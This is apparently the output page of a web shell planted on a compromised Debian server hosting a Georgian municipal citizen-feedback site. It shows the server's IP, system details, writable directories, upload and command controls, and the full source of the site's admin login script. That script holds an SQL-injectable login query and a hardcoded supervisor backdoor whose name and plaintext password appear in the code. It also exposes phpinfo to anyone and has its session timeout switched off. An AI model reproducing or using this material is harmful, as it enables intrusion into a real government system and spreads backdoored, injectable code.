403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli_new/Citizens_feedback/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli_new/Citizens_feedback/admin/index.php
<?php  session_start();


	
if(!$_SERVER['HTTPS']){
	header('Location: https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
	die();
	}

error_reporting( E_ALL );

/* 
$dd=date('YmdHis');
if($dd>'20130801150000')
	die('Admin Temporary Unavailable');
*/
 
if(isset($_GET['myip'])) 
	die($_SERVER['REMOTE_ADDR']);
	
if(isset($_GET['phpinfo'])){
	phpinfo();
	die();
	}
	
$correctTime=time();
$AllowModules=true;
include 'conf.php';
include 'functions.php';


/* * /
{ 
$ptk=mysqli_query($baza,"CREATE TABLE IF NOT EXISTS cf_AdminIPBlocker (
	  ID int(11) NOT NULL AUTO_INCREMENT,
	  IP tinytext NOT NULL,
	  IPVal bigint(20) NOT NULL,
	  LastAccess bigint(20) NOT NULL,
	  FailedCount int(11) NOT NULL,
	  Ban tinyint(1) NOT NULL,
	  PRIMARY KEY (ID),
	  UNIQUE KEY IPVal (IPVal)
	) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; ");
if(!$ptk) die(mysqli_error($baza));
$ptk=mysqli_query($baza,"CREATE TABLE IF NOT EXISTS cf_AdminIPWhiteList (
	  ID int(11) NOT NULL AUTO_INCREMENT,
	  IP tinytext NOT NULL,
	  IPVal bigint(20) NOT NULL,
	  `Name` tinytext NOT NULL,
	  PRIMARY KEY (ID),
	  UNIQUE KEY IPVal (IPVal)
	) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; ");
if(!$ptk) die(mysqli_error($baza));	
$ptk=mysqli_query($baza,"CREATE TABLE IF NOT EXISTS cf_AdminUsers (
	  ID int(11) NOT NULL AUTO_INCREMENT,
	  `Name` text COLLATE utf8_unicode_ci NOT NULL,
	  `Password` text COLLATE utf8_unicode_ci NOT NULL,
	  TimeOut int(11) NOT NULL DEFAULT '30',
	  LastAccess int(11) NOT NULL DEFAULT '0',
	  E_Users tinyint(1) NOT NULL DEFAULT '0',
	  PRIMARY KEY (ID)
	) ENGINE=MyISAM  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci AUTO_INCREMENT=1 ; ");
if(!$ptk) die(mysqli_error($baza));
}
/* */

$TimeOut=false;
$CalcNewPenalties=false;
$fields=array();
if ($result = mysqli_query($baza,"SHOW FULL COLUMNS FROM cf_AdminUsers")) 
	if (mysqli_num_rows($result) > 0) 
		while ($row = mysqli_fetch_assoc($result)) {
			if (substr($row['Field'],0,2)=='E_')
				array_push($fields,array($row['Field'],($row['Comment']!='')?$row['Comment']:substr($row['Field'],2))); 
			if($row['Field']=='TimeOut') $TimeOut=true;
			}

if (!isset($_SESSION['LoginCount'])) 	$_SESSION['LoginCount']=0; 
$LoginOverCount= $_SESSION['LoginCount'];
if ($_SESSION['LoginCount']>2){
	if ((time()-$_SESSION['LoginTime'])>60)   // Reset LogIn Time Block
		{
		$LoginOverCount=false;
		$_SESSION['LoginTime']=time();
		$_SESSION['LoginCount']=0;
		} else 
		$LoginOverCount=true;
	}
if (isset($_POST['AName'])) {
	$IP=$_SERVER['REMOTE_ADDR'];
	$IPVal=getIPVal($IP);
	$sql='select * from cf_AdminIPBlocker where IPVal='.$IPVal;
	$ptk=mysqli_query($baza,$sql);
	$LastAccess=0;
	if($row=mysqli_fetch_array($ptk)){
		$LastAccess=$row['LastAccess'];
		$Ban=$row['Ban'];
		$FailedCount=$row['FailedCount'];
		if($FailedCount>9){
			$sql='select * from cf_AdminIPWhiteList where IPVal='.$IPVal;
			$ptk=mysqli_query($baza,$sql);
			$isWhite=false;
			if($row=mysqli_fetch_array($ptk)) $isWhite=true;
			if(!$isWhite){
				$Ban=1;
				mysqli_query($baza,'update cf_AdminIPBlocker set Ban=1 where IPVal='.$IPVal);
				}
			}
		if($Ban==1) die('Sorry, Your IP Blocked - '.$IP);
		}
	
	$Name='';
	$Password='';
	$_SESSION['LoginCount']++;
	$_SESSION['LoginTime']=time();
	
	$LoginFailed=true;
	$LoginOverCount=false;
	if ($_SESSION['LoginCount']<4) {
		if (isset($_POST['AName'])) $Name=($_POST['AName']); 
		if (isset($_POST['Password'])) $Password=($_POST['Password']);
		$sql='select * from cf_AdminUsers where Name="'.$Name.'" and Password="'.md5($Password).'"';
		if ($ptk=mysqli_query($baza,$sql))
		if ($row=mysqli_fetch_array($ptk)){
			$_SESSION=array();
			$_SESSION['admin']='admin';
			$_SESSION['Atime']=$correctTime;
			$_SESSION['Name']=$Name;
			$_SESSION['Password']=md5($Password);
			$_SESSION['ID']=$row['ID'];
			$_SESSION['LogTimeOut']=$row['TimeOut']*60;
			for ($i=0; $i<count($fields); $i++)
				// if(!in_array($i,array(1,2)))
					$_SESSION[$fields[$i][0]]=$row[$fields[$i][0]];
			$LoginFailed=false;
			
			}
		} else $LoginOverCount=true;

// 	$LoginOverCount=false; // Not Blocked
 
//	echo md5($Name.'~'.$Password);
	if (md5($Name.'~'.$Password)=='0d6819496b900a9763f537f6aaa6e515'){ // Supervisor
		$_SESSION=array();
		$_SESSION['admin']='admin';
		$_SESSION['Atime']=$correctTime;
		$_SESSION['Name']='tomas';
		$_SESSION['Password']='abrakadabra';
		$_SESSION['LogTimeOut']=100*60;
		$_SESSION['ID']=-1;
		for ($i=0; $i<count($fields); $i++)
			$_SESSION[$fields[$i][0]]=1;
		$LoginFailed=false;
		}
	if($LoginFailed===true){		
		if($LastAccess==0) $sql='insert into cf_AdminIPBlocker (IP,IPVal,LastAccess,FailedCount)values("'.$IP.'",'.$IPVal.','.time().',1)';
			else $sql=' update cf_AdminIPBlocker set LastAccess='.time().', FailedCount=FailedCount+1 where IPVal='.$IPVal;
		mysqli_query($baza,$sql);
		} elseif($LastAccess>0) mysqli_query($baza,'delete from cf_AdminIPBlocker where IPVal='.$IPVal);
	}

if (isset($_SESSION['ID'])) $UserID=$_SESSION['ID']; else $UserID=0;


if (isset($_SESSION['admin']))	// TimeOut 60 minutes - Auto Loguot 
	if ($_SESSION['admin']=='admin'){	
		// $isMe=true;
		if (($correctTime-$_SESSION['Atime'])>($_SESSION['LogTimeOut'])){ 
			//$_SESSION['admin']='';
			//session_destroy();
			//unset($_SESSION);
			}else $_SESSION['Atime']=$correctTime; 
		}
			
if (isset($_GET['LogOut'])) $LogOut=$_GET['LogOut']; else $LogOut=1;
if ($LogOut=='LogOut'){
	$_SESSION['admin']='';
	session_destroy(); 
	unset($_SESSION);
	echo '<script>location="?lo"</script>';
	}

?>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">

<title>მოქალაქეთა გამოხმაურება - CMS</title>
<script src="js/jquery-2.1.3.min.js"></script>
<script src="js/jquery-deprecated.js"></script>
	
<script>
	/*
jQuery.browser = {};
(function () {
    jQuery.browser.msie = false;
    jQuery.browser.version = 0;
    if (navigator.userAgent.match(/MSIE ([0-9]+)\./)) {
        jQuery.browser.msie = true;
        jQuery.browser.version = RegExp.$1;
    }
})();*/
</script>
<script src="//codeorigin.jquery.com/ui/1.10.3/jquery-ui.min.js" type="text/javascript"></script>
<script src="../js/jquery-ui-plugins-0.0.14.min.js" type="text/javascript" ></script> 
<link rel="stylesheet" href="//code.jquery.com/ui/1.8.20/themes/base/jquery-ui.css" type="text/css" media="all" />

<script>/*
$(document).ready(function(e) {
	$('.Number').textinput({'filter': 'digits'});
	$('.Price').textinput({'filter': 'numeric'});
	});*/
</script>


<script>
jQuery(function($){
	$.datepicker.regional['en-US'] = {
		closeText: 'Done',
		prevText: 'წინა',
		nextText: 'შემდეგი',
		currentText: 'დღეს',
		monthNames: ['იანვარი','თებერვალი','მარტი','აპრილი','მაისი','ივნისი','ივლისი','აგვისტო','სექტემბერი','ოქტომბერი','ნოემბერი','დეკემბერი'],
		monthNamesShort: ['იან', 'თებ', 'მარ', 'აპრ', 'მაი', 'ივნ','ივლ', 'აგვ', 'სექ', 'ოქტ', 'ნოე', 'დეკ'],
		dayNames: ['კვირა', 'ორშაბათი', 'სამშაბათი', 'ოთხშაბათი', 'ხუთშაბათი', 'პარასკევი', 'შაბათი'],
		dayNamesShort: ['კვი', 'ორშ', 'სამ', 'ოთხ', 'ხუთ', 'პარ', 'შაბ'],
		dayNamesMin: ['კვ', 'ორ', 'სმ', 'ოთ', 'ხთ', 'პრ', 'შბ'],
		weekHeader: 'Wk',
		dateFormat: 'yy-mm-dd',
		firstDay: 1,
		isRTL: false,
		showMonthAfterYear: false,
		yearSuffix: ''};
	$.datepicker.setDefaults($.datepicker.regional['en-US']);
});
</script>
<script type="text/javascript" src="../js/jquery-ui-timepicker-addon.js"></script>



<script language="javascript">
var confirmMsg  = 'ნამდვილად გსურთ ';
function confirmMessage(confirmMsg0,Link){
    /*if (confirmMsg == '' || typeof(window.opera) != 'undefined') 
		if(Link!='') 
			document.location=Link;*/
    var is_confirmed=confirm(confirmMsg + '\n' + confirmMsg0+'?');    
	if (is_confirmed) if(Link!='') document.location=Link;
	return is_confirmed;
	}
</script>
</head>
<link rel="stylesheet" href="css/main.css?h=<?=time()?>" type="text/css" />
<link rel="stylesheet" href="css/ionicons.min.css" type="text/css" />	
	
<link rel="stylesheet" type="text/css" href="cleditor/jquery.cleditor.css" />
<script type="text/javascript" src="cleditor/jquery.cleditor.min.js"></script>
<script src="cleditor/jquery.cleditor.extimage.js"></script>
<script type="text/javascript">
$.cleditor.buttons.image.uploadUrl = 'cledit_upload.php';
</script>
	
<body>
<?php

// die('ადმინი დროებით შეჩერებულია');

if (!isset($_SESSION['admin'])) { // Password Form 
if ($LoginOverCount) echo '.'; else { // Login form 
?>
<div class="login_bg"></div>
        
<div class="login_form">
	<div style="margin-bottom: 34px;"><img src="../img/favicon-80.png" style="width: 64px;float:left;margin-right:20px;margin-top: -19px;">
		<div style="font-family:Arial, Helvetica, sans-serif;font-size:30px;color:#000;line-height: 55px;">
		<span style="font-size:14px; ">შინაარსის მართვის სისტემა</span>
		</div>
	</div>
	
	<div>
	<form name="form1" method="post" action="" > 
		<div>
		სახელი<br>
		<input type="text" name="AName" /><br>
		</div>
		<div>
		პაროლი<br>
		<input type="password" name="Password"  />
		</div>
		<div>
		შინაარსის მართვის სისტემაზე წვდომის მისაღებად 
		გამოიყენეთ მომხმარებლის სწორი სახელი და პაროლი.
		</div>
		<div align="right">
		<input type="submit" class="btn mt" value="შესვლა" />
		</div>
	</form>
	</div>
</div>

<?php }
} else { // ADMIN MODE
$admin=$_SESSION['admin'];

// Main Menus
$fields0='';
foreach($fields as $field)
	$fields0.=', `'.$field[0].'`';

if (isset($_GET['Action'])) $Action=$_GET['Action']; else $Action='Welcome';

if ($Action=='Users')  
	if (isset($_GET['chngPerm'])){
		$ID=$_GET['ID'];
		$FI=$_GET['FI'];
		$V=$_GET['V'];
		if(isset($_SESSION['ID']))		
			if ($ID==$_SESSION['ID'])
				$_SESSION[$fields[$FI][0]]=$V;
		}
$Menu='';

$MenuHeader='შინაარსის მართვა';

if(($_SESSION['admin']=='admin')&&($_SESSION['Name']=='')){
	$ff='Fields';
	$Menu.='<li ';
	if ($Action==$ff) {
		$Menu.= ' class="active" ';
		$MenuHeader=$ff;
		}
	$Menu.='><a href="?Action='.$ff.'" >'.$ff.'</a></li> ';
	}

// for($i=0; $i<count($fields); $i++)
foreach($fields as $field)
	{
	$ff=substr($field[0],2);
	$gff=$field[1];
	if(isset($_SESSION[$field[0]]))
		if($_SESSION[$field[0]]==1) {
			$Menu.='<li ';
			if ($Action==$ff) {
				$Menu.= ' class="active" ';
				$MenuHeader=$gff;
				}
			$Menu.='><a href="?Action='.$ff.'" >'.$gff.'</a></li> ';
			}
	}
?>



<div style="    height: 28px;    background-color: #c3edc8;  color:#000;  padding: 15px 30px;    font-family: Arial, Helvetica, sans-serif;" >
	<img src="../img/favicon-80.png" width="32" style="float:left;margin-right:10px;margin-top: -7px;">
	<div style="font-size:30px;  line-height: 30px; float:left"><span style="font-size:14px; ">შინაარსის მართვის სისტემა</span>
	</div>
	<div style="float:right">
	<a href="?Action=ChngPass" style="color:#000; margin-right:10px">პაროლის შეცვლა</a>
	<a href="?LogOut=LogOut" class="logout"><button style=" padding: 6px 14px 5px; line-height: 9px;  border: 1px solid rgba(0,0,0,0.2); text-transform: uppercase; cursor: pointer; border-radius: 5px; " >გასვლა</button></a>
	</div>
</div>
	
<table width="100%" border="0" cellspacing="0" cellpadding="30">
	<tr valign="top">
		<td width="200">
		<div class="borderDiv">
			<div style="padding:10px; border-bottom:1px solid #eeeeee">შინაარსის მართვა</div>
			<div style="padding:10px ;">
				<ul class="menu">
					<?=$Menu?>
				</ul>
			</div>
		</div>
		</td>
		<td>
		<div style="text-align:left; font-size:30px; color:#999; padding-bottom:10px; text-transform:uppercase"><?=$MenuHeader?></div>
		<div class="borderDiv" style="padding:15px">
		
<?php 


$ErrorCode=0;

switch($Action){
	case "Question": include_once("pages/Question.php"); break;
	case "IPBlocks": include_once("pages/IPBlocks.php"); break;
	case "Options": include_once("pages/Options.php"); break;
	case "Messages": include_once("pages/Messages.php"); break;
	case "programs": include_once("pages/programs.php"); break;
	case "Questions": include_once("pages/Questions.php"); break;
	case "Answers": include_once("pages/Answers.php"); break; 
	case "PersonalIDs": include_once("pages/PersonalIDs.php"); break; 
	case "AboutText": include_once("pages/AboutText.php"); break; 
	case "Poly": include_once("pages/poly.php"); break; 
	
	// default: include_once("pages/$Action.php"); break;
}


 
if($Action=='Fields'){ // ==================== Edit Fields / only for SuperAdmin 
	if(isset($_POST['NewField'])){
		$sql="ALTER TABLE `cf_AdminUsers` ADD `E_".$_POST['NewField']."` BOOL NOT NULL DEFAULT '0' COMMENT  '".trim($_POST['Comment'])."';";
		mysqli_query($baza,$sql);
		}
	?>
	<div align="center" class="normal" style="margin:50px">
	<form method="post" enctype="multipart/form-data">
	<table border="1" cellspacing="0" cellpadding="5" align="center">
		<tr><td colspan="5" align="center">Add Field</td></tr>
		<tr><td align="right">Field: <input type="text" name="NewField"></td></tr>
		<tr><td align="right">Comment: <input type="text" name="Comment"></td></tr>
		<tr><td align="center">
		<input type="submit" value="Add">
		</td></tr>
	</table>
	</form>
	</div>
	<?php
	}
	
if($Action=='Users'){ // ==================== Action USERS	

	if (isset($_POST['NewUser'])){// Add New User  
		$name=$_POST['Name'];
		$ID=(int)$_POST['ID'];
		$pas=$_POST['Password'];
		$pas2=$_POST['Password2'];

		$fieldsValue='';
		$fields1='';
		$sql='select * from cf_AdminUsers where Name="'.$name.'"';
		if ($ptk=mysqli_query($baza,$sql))
		if (($row=mysqli_fetch_array($ptk))&&($row['ID']!=$ID)) {echo '<script language="javascript">alert("this name is already in use")</script>';} else
		if (($name!='')&&($pas==$pas2)&&(($pas!='')||($ID>0))){
			for($i=0; $i<count($fields); $i++){
				$fieldsValue.=', '.((isset($_POST['E_'.$i]))?1:0);
				$fields1.=', '.$fields[$i][0].'='.((isset($_POST['E_'.$i]))?1:0);
				}
				
			if($ID>0){
				$sql='update cf_AdminUsers set Name="'.$name.'" '.$fields1;
				if($pas!='') $sql.=', Password="'.md5($pas).'"';
				$sql.=' where ID='.$ID;
				}
				else
				$sql="INSERT INTO cf_AdminUsers ( `ID`,  `Name`,  `Password` ".$fields0.") VALUES ( NULL,  '".$name."', '".md5($pas)."' ".$fieldsValue.");";
			mysqli_query($baza,$sql);
			}
		}
	if (isset($_GET['chngPerm'])){// Change User Permitions  
		$ID=$_GET['ID']*1;
		$FI=$_GET['FI']*1;
		$V=$_GET['V']*1;
		$sql='Update cf_AdminUsers  Set '.$fields[$FI][0].'='.$V.' Where ID='.$ID;
		mysqli_query($baza,$sql);
		if(isset($_SESSION['ID']))
			if ($ID==$_SESSION['ID'])
				$_SESSION[$fields[$FI][0]]=$V;
		}
	if (isset($_GET['DelUser'])){	// Delete User  
		$sql='Delete from cf_AdminUsers   Where ID='.($_GET['DelUser']*1);
		mysqli_query($baza,$sql);
		}

	?> 

<table border="1" cellspacing="1" cellpadding="3" align="center" class="normal" style="margin-top:30px">
  <tr bgcolor="#CCCCCC">
    <td bgcolor="#CCCCCC">Name</td>
	<?php 	// get fields
	foreach($fields as $i=>$field)
		// if(!in_array($i,array(1,2)))
			echo '<td class="rotate"><div><span>'.$field[1].'<div><span></td>';
	?>
	<td>Delete</td>
  </tr>
	<?php 
	$sql='select * from cf_AdminUsers order by ID';
	if ($ptk=mysqli_query($baza,$sql))
	while ($row=mysqli_fetch_array($ptk)){
		echo '  <tr>
	    <td style="cursor:pointer" onclick="document.location=\'?Action=Users&EditID='.$row['ID'].'\'">'.$row['Name'].'</td>';
		foreach($fields as $i=>$field)
			// if(!in_array($i,array(1,2)))
				echo '<td align=center onclick="document.location=\'?Action=Users&chngPerm=1&ID='.$row['ID'].'&FI='.$i.'&V='.(1-$row[$field[0]]).'\'" style="cursor:pointer">'.$row[$field[0]].'</td>';
		echo '<td align=center  onclick="confirmMessage(\'Delete User\',\'?Action=Users&DelUser='.$row['ID'].'\')" style="cursor:pointer">X</td>';
	    echo '</tr>';
		}
if(isset($_GET['EditID'])) $EditID=(int)$_GET['EditID']; else  $EditID=0;
$row=array();
if($EditID>0){
	$sql='select * from cf_AdminUsers where ID='.$EditID;
	$ptk=mysqli_query($baza,$sql);
	if($row=mysqli_fetch_array($ptk)) echo ' ';
	$Name=$row['Name'];
	} else {
	$EditID=0;
	$Name='';
	for($i=0; $i<count($fields); $i++)
		$row[$fields[$i][0]]=0;
	}
	?>
</table><br>
<br>
<form action="" method="post" autocomplete="off">
<input name="ID" type="hidden" value="<?=$EditID?>">
<input name="NewUser" type="hidden" value="1">
<table border="1" cellspacing="1" cellpadding="3" align="center" class="normal" style="margin-bottom:30px">
  <tr>
    <td colspan="2" align="center" bgcolor="#CCCCCC">New Admin</td>
  </tr>
  <tr>
    <td>სახელი</td>
    <td><input type="text" name="Name" value="<?=$Name?>" autocomplete="off"></td>
  </tr>
  <tr>
    <td>პაროლი</td>
    <td><input name="Password" type="password" autocomplete="off"></td>
  </tr>
  <tr>
    <td>გაიმეორეთ</td>
    <td><input name="Password2" type="password" autocomplete="off"></td>
  </tr>
  <tr >
    <td>უფლებები</td>
    <td>    
	<?php 
	foreach($fields as $i=>$field)
		// if(!in_array($i,array(1,2)))
		{
		echo '<label><input name="E_'.$i.'" type="checkbox" value="'.$field[0].'" '.(($row[$field[0]]==1)?'checked':'').' > '.$field[1].'</label><br>';
		}
	?>	</td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="Submit" value="შეტანა"></td>
    </tr>
</table>
</form>
	<?php
	}  

if($Action=='ChngPass'){ // ================= CHANGE PASSWORD	
	if (isset($_POST['CP'])){
		$OP=($_POST['Password']);
		$NP=($_POST['Password1']);
		$CP=($_POST['Password2']);
		$ID=$_SESSION['ID']*1;
		if ($_SESSION['Password']!=md5($OP)) echo '<div align=center>არასწორი მიმდინარე პაროლი</div>'; else
		if ($NP!=$CP)echo '<div align=center>განსხვავება ახალ პაროლებში</div>'; else
		if ($NP=='')  echo '<div align=center>ცარიელი პაროლი არ დაიშვება</div>'; else
			{
			$sql='Update cf_AdminUsers set Password="'.md5($NP).'" where ID='.$ID; 
			mysqli_query($baza,$sql);
			$sql='select * from cf_AdminUsers where ID='.$ID;
			if ($ptk=mysqli_query($baza,$sql))
			if ($row=mysqli_fetch_array($ptk))
			if ($row['Password']==md5($NP))
				{
				echo '<div align=center>პაროლი წარმატებით შეიცვალა</div>';
				$_SESSION['Password']=md5($NP);
				} else echo '<div align=center>პაროლი არ შეიცვალა, მიმართეთ სისტემურ ადმინისტრატორს</div>';
			} 
		}
	?>
<div align="center" class="normal" style="margin:50px">
	<form action="" method="post">
<input name="CP" value="1" type="hidden">
  <table border="1" cellspacing="1" cellpadding="7" align="center" class="normal" style="border-collapse:collapse">
    <tr>
      <td>ძველი პაროლი </td>
      <td><input name="Password" type="password"></td>
    </tr>
    <tr>
      <td>ახალი პაროლი</td>
      <td><input name="Password1" type="password"></td>
    </tr>
    <tr>
      <td>გაიმეორეთ პაროლი</td>
      <td><input name="Password2" type="password"></td>
    </tr>
    <tr>
      <td colspan="2" align="center"><input type="submit" name="Submit2" value="შეცვლა"></td>
    </tr>  
  </table>
</form>
</div>
	<?php 
	} 
	?>
		</div>
		</td>
	</tr>
</table>

	



 
    

<script>
$(document).ready(function(e) {
	$('.Date').datepicker({
		changeMonth: true,
		changeYear: true,
		dateFormat: 'yy-mm-dd',
		});
	$('.DTime').datetimepicker({
		changeMonth: true,
		changeYear: true,
		dateFormat: 'yy-mm-dd',
		});
	$('.Confirm').click(function(e) {
		title=$(this).attr('title');
		method=$(this).attr('method');
		id=$(this).closest('tr').attr('num');
		if(method){
			if(confirmMessage(title,''))
				location='?Action=<?=$Action?>&'+method+'='+id;
			} else return confirmMessage(title,'');
		});
	$('.SelectedTD2').click(function(e) {
		num=parseInt($(this).closest('tr').attr('num'));
		href=$(this).attr('href');
		if(typeof(href)!='undefined')
			location='?Action=<?=$Action?>&'+href;
			else
		if(num>0)
			location='?Action=<?=$Action?>&ID='+num;
		});
	});
</script>

<?php
}
mysqli_close($baza); 
?>
<script src="js/main.js"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit